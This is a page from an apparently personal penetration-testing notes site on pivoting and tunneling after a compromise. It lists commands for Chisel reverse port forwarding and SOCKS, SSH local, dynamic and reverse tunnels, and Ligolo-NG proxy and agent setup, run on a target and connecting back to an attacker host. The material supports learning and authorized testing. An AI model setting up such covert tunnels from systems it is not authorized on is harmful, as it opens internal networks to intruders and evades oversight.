TurboWindX
  • Welcome
  • Hacking Methodologies
    • Known Tools & Technologies
    • Kill Chain
    • Phyisical and hardware
      • Full Screen Escape
  • Checklist - WebApps
  • Checklist - Windows
  • External Recon
    • Ports & services scanning
    • Web Recon
      • CMS
        • Wordpress
      • Path traversal & LFI/RFI
      • XSS - Cross site scripting
      • XML External Entity - XXE
  • Internal Recon
    • Active Directory
  • Post Exploitation
    • Container/Sandbox Breakout
    • Privilege Escalation
      • Hashing & Cracking
    • Persistence
      • Windows
    • Data Exfiltration
      • Steganography
      • Pivot & Tunneling
  • Shells
  • Protocols
    • FTP
    • SSH
    • DNS
    • IPP
  • Binary Exploitation
    • Linux - Simple reverse & crack
  • Memory Analysis
  • Forensics
  • Android & iOS
  • Database Injection & Exploitation
  • DDoS
  • Kubernetes & Docker
  • Phish
Powered by GitBook
On this page
  • Chisel -Port To Port
  • Chisel - SOCKS
  • SSH local port forwarding
  • SSH forward dynamic (SOCKS) proxy
  • Reverse SSH tunnel
  • Reverse SSH Dynamic (SOCKS) tunnel
  • Ligolo-NG
  • Setup TUN interface
  • Start proxy (agent handler)
  • Connect an agent to the proxy
  • Session management from agent
  • Configure port forwarding

Was this helpful?

  1. Post Exploitation
  2. Data Exfiltration

Pivot & Tunneling

Sshhhhhhhhhhhhhh

PreviousSteganographyNextShells

Last updated 1 year ago

Was this helpful?

Chisel -Port To Port

#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:<port-to-forward>/tcp

Chisel - SOCKS

#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:socks

SSH local port forwarding

ssh user@<machina-ip> -T -L <your-port>:localhost:<remote/victim port>

You can then browse/connect to localhost:your-port to acess victim:remote--port

SSH forward dynamic (SOCKS) proxy

ssh -D localhost:9999 -f -N target@<target-ip>

Reverse SSH tunnel

One common scenario is gaining a foothold without credentials so you can't bind ssh tunnel. But you can still reverse SSH tunnel from the victim to your box. Using the following technique, you'll be able to reach those.

ssh -N -R 3306:localhost:3306 kali@<attacker-ip>

Reverse SSH Dynamic (SOCKS) tunnel

ssh -N -R 127.0.0.1:9090 kali@<attacker-ip>

Ligolo-NG

A coworker of mine showed me this and I instantly fell in love with the concept. It has a proxy-agent system and it works just like a VPN using a TUN interface.

Setup TUN interface

sudo ip tuntap add user kali mode tun ligolo  
sudo ip link set ligolo up

Start proxy (agent handler)

./proxy -selfcert -laddr 10.10.14.21:443  
WARN[0000] Using automatically generated self-signed certificates (Not recommended)   
INFO[0000] Listening on 10.10.14.21:443

Connect an agent to the proxy

./agent -connect 10.10.14.21:443 -ignore-cert  
WARN[0000] warning, certificate validation disabled       
INFO[0000] Connection established

Session management from agent

session   -> choose session  
start

# add routes for networks (usually internal networks)  
sudo ip route add 192.168.210.0/24 dev ligolo  
sudo ip route add 192.168.110.0/24 dev ligolo

Configure port forwarding

listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp

https://github.com/jpillora/chisel
https://github.com/nicocha30/ligolo-ng